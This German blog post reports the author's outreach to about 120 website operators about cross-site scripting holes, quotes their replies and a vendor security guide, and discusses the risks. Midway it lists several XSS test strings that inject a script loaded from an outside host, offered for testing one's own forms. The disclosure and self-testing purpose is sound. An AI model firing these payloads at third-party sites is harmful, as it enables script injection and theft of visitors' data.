Wie angekündigt habe ich alle 120 WebSite-Betreiber bzw. deren Dienstleister angeschrieben. Bisher haben 15% der angeschriebenen per Mail, einer per Telefon, reagiert.

Was ich schon sagen kann ist – kleine WebSites bzw. deren Dienstleister reagieren eher. Evtl. ist es den großen und bekannten Dienstleistern peinlich das da ein Unbekannter daherkommt und ihnen sagt das sie ihre Arbeit nicht so ganz sauber ausgeführt haben.


Zum Teil scheinen die Dienstleister leider nicht gleich zu verstehen wo das Problem liegt:

… ich sehe das Problem insbesondere dann gegeben, wenn benutzerseitige Eingaben entgegen genommen werden, um sie dann ggü. *anderen* Benutzern wieder auszugeben.

Insofern ist schon richtig: wenn man unter http://www.xyzxyzxyz.com/suche/ einen beliebigen Text eingibt, wird Ihnen dieser wieder ausgegeben.

Aber entscheidend ist, dass er keinem anderen User ausgegeben wird, der darüber angegriffen werden könnte.

Oberflächlich betrachtet mag es so aussehen als ob nur ein beliebiger Text per XSS im Browser ausgegeben wird und dies auch nur in dem einen Browser… und dann kam schon die zweite E-Mail von dem Dienstleister:

ich musste mich gerade von einem Mitarbeiter korrigieren lassen:
würde jemand (bspw. per Mail)

http://www.xyzxyzxyz.com/suche/?suche=XSS-Zeuch

verbreiten, ergäbe sich dadurch XSS.
Natürlich absolut richtig … Ich hoffe mal, dass xyzxyzxyz.com Empfängern solcher Link suspekt ist, so dass keiner auf derartige Links klickt

Und es wird eben nicht nur ein beliebiger Text im Browser ausgegeben. Per HTML, CSS und JavaScript lässt sich sehr viel mehr manipulieren als nur ein Text. Ich zitiere gerne noch einmal aus Erich Kachels Blogeintrag “CSS / XSS – Angriff (Cross Site Scripting) – eine Analyse“:

JavaScript ermöglicht unter Anderem:

• das Ändern der gesamten Seitenstruktur,
• das Einbinden zusätzlichen JavaScript-Codes,
• das Erzeugen beliebiger HTML-Elemente,
• das Umleiten von Formularen und Links,
• das Auslesen von Authentifizierungs-Daten,
• das Senden und Empfangen von Daten und
• das Auslesen der Tastenanschläge.

Bei einigen Rückmeldungen schrieb man mir etwas wie:

Vielen Dank für Ihren Hinweis, wir haben diese Sicherheitslücke geschlossen.

Wobei man dann z.T. wirklich nur die eine Lücke gefixt hat und zwar nur die Lücke die ich beispielhaft erwähnt habe. Das aber alle Formulare geprüft und gegebenenfalls gefixt werden müssen, daran hat man nicht gedacht. Da habe ich dann so den Eindruck das die Problematik nicht wirklich verstanden wurde.


Auf heise.de gibt es ein kleines Beispiel “Passwortklau für Dummies… oder warum Cross Site Scripting wirklich ein Problem ist.” welches schön zeigt wie man per JavaScript Zugangsdaten für ein Login mitlesen kann. In dem Heise-Beispiel wird das eingegebene Passwort per Alert-Box angezeigt, bei echtem XSS bemerkt der User nicht das seine Daten auch an den Hacker gesendet wurden.


Auch wenn auf einer WebSite kein Login für User vorhanden ist und somit keine Logindaten abgefischt werden können, können XSS-Lücken ein Problem darstellen.

Da URLs heutzutage sehr kryptisch daherkommen und z.T. sehr lang sind, kann ein Normaluser kaum unterscheiden ob eine URL regulär wirklich von der WebSite stammt oder ob darin auch XSS-Includes stecken. Wenn jemand per XSS Verunstaltungen auf einer WebSite vornimmt und die URLs weiterverteilt, so kann dies durchaus zu Imageschäden für den WebSite-Betreiber führen. Wenn erst einmal entsprechende URLs und in der Folge die dazugehörigen Screenshots per E-Mail, Foren, etc. verbreitet wurden, wird es für den WebSite-Betreiber immer unschön. Einerseits weil diese “unerwünschten” Inhalte, die angeblich auf seiner WebSite zu finden waren, im Internet als Screenshots kursieren und andererseits muß er zugeben das es Sicherheitsprobleme gibt oder gab, die zu dem Missbrauch geführt haben. So oder so, auf jeden Fall unschön und unnötig, wenn man es gleich von vornherein ausschließen kann.


Wer mal seine eigene WebSite etwas auf XSS-Lücken abklopfen möchte kann z.B. folgende Codes in seine Formulare einfügen und abschicken und schauen was passiert:

<script src=http://ha.ckers.org/xss.js></script>
'><script src=http://ha.ckers.org/xss.js></script>
"><script src=http://ha.ckers.org/xss.js></script>
//--><script src=http://ha.ckers.org/xss.js></script>
//--><script src=http://ha.ckers.org/xss.js></script><!--
</title><script src=http://ha.ckers.org/xss.js></script>
</textarea><script src=http://ha.ckers.org/xss.js></script>

</textarea>?? Ja, auch das! In vielen Formularen werden zwar die Input-Felder für Name, Straße, etc. gefiltert, aber die Textareas werden gerne vergessen. Es gibt auch Spezialisten die zwar sichtbar keine Eingaben reflektieren, aber dann im Quellcode den Suchstring in Kommentar-Zeichen eingeschlossen wiederholen.

Wer die obigen Codes ausprobiert und schon jetzt etwas sonderbares im Browser angezeigt bekommt, sollte genauer forschen.

Für die Suche nach XSS-Lücken gibt es auch ein kleines Plugin für den Firefox, allerdings bisher nur für die 2er Version des Firefox. “XSS-Me” findet man hier www.securitycompass.com, wie auch “SQL Inject-Me” und “Access-Me”.


Es gab aber auch Lichtblicke bei meiner XSS-Aktion.

Ein Dienstleister schrieb mir:

Uns ist der Sachverhalt bekannt. Sie können dies dem anhängenden Sicherheitsleitfaden entnehmen.

Aus dem Sicherheitsleitfaden:

Ein Webserver ist von Haus aus niemals wirklich sicher.
…
Stellen Sie daher niemals wirklich sensible Daten auf einen Webserver.
…
SQL Injection
Benutzer-Eingaben, die in der aufgerufenen Prozedur in SQL-Datenzugriffe einfließen, beinhalten ein mögliches Sicherheitsrisiko. Hacker könnten durch eine entsprechend gestaltete Eingabe die programmierten SQL-Zugriffe durch eigenen SQL-Code ergänzen, und auf diese Weise eventuell Datenbankinhalte ausspionieren oder manipulieren.
…
“SQL Injection” kann wirkungsvoll verhindert werden, indem in der Konfiguration des WEBIOS – Moduls, das das fragliche Eingabefeld generiert, die Eingabe von HTML-Code und Programmierungszeichen deaktiviert wird.
…
…
Cross Site Scripting
Sofern es nicht durch eine gesonderte Sperre verhindert wird, kann jedes Eingabefeld dazu genutzt werden, HTML-Tags an das von dem Formular aufgerufene Programm zu übergeben. Unter anderem könnte auf diese Weise auch ein Javascript-Aufruf an das aufgerufene Programm übergeben werden. Dies wird als “Cross Site Scripting” bezeichnet.
…
WEBIOS stellt Konfigurationseinstellungen zur Verfügung, mit deren Hilfe Cross Site Scripting unterbunden werden kann.

Sehr lobenswert das ein CMS-Hersteller seine Kunden über die möglichen Gefahren informiert.

WEBIOS heißt das CMS, wobei der Vertrieb und der Support vom IT-Systemhaus WUD betrieben wird. (Nein, für diese Reklame werde ich nicht bezahlt. Der Inhaber Herr Gert Bonfert, der auch die E-Mail schrieb, ist einfach nur sehr sympatisch. <g>)

Und weiter aus seiner E-Mail:

Die XSS-Problematik stellt bei der Stadt xyz keine Sicherheitsgefahr dar, da es für den normalen Besucher keine Möglichkeiten gibt, Inhalte auf dem Server zu speichern. Es gibt keine Community oder ein Gästebuch und auch “leider” (persönliche Anmerkung) noch keine denkbaren Web 2.0 Angebote.

Keine “Sicherheitsgefahr” für die WebSite selber, das mag sein, aber wie gesagt, das mit den “unerwünschten” Inhalten wäre schon möglich.

Auf die WebSite der Stadt xyz bin ich nur gestoßen weil die Suchfunktion, nach meiner Meinung, nicht sicher genug konfiguriert wurde. Vielleicht bin auch nur ICH zu paranoid. ;O)


Herr Bonfert hatte dann auch etwas Kritik für mich:

Ich kann mir vorstellen, dass einige der von Ihnen angeschriebenen Adressaten panisch reagieren oder zumindest größte Sorge haben, dass alleine durch das nicht vorhandene Blocken von Script-Befehlen Gefahren ausgehen oder gar Schäden verursacht wurden. Das mag in vielen Fällen auch berechtigt sein, jedoch differenzieren Sie die Problematik meiner Ansicht nach zu wenig und stellen in Ihrer eMail und in Ihrem Blog pauschal dar, dass mit XSS Angriffe gestartet werden. Dass diese Angriffe meist sinnlos sind, bzw. wann sie zum Erfolg führen können, erwähnen Sie nicht.

Woraufhin ich den Text meine E-Mail abgeändert habe, damit eben keine Panik entsteht.

Wirklich gefährlich für den Server oder den Betrieb der WebSite ist XSS meist nicht, da i.d.R. noch andere Lücken wie z.B. SQL-Injection vorhanden sein müssen. Wenn es User Generated Content in Verbindung mit XSS-Lücken gibt, dann kann auch dies wieder sehr gefährlich für einfache Besucher oder angemeldete User werden. Die Differenzierung bei welchen Szenarien wer, wie gefährdet ist, werde ich in dem nächsten Beitrag beschreiben – denn dieser Beitrag hat jetzt schon Überlänge. ;O)

Also Fortsetzung folgt…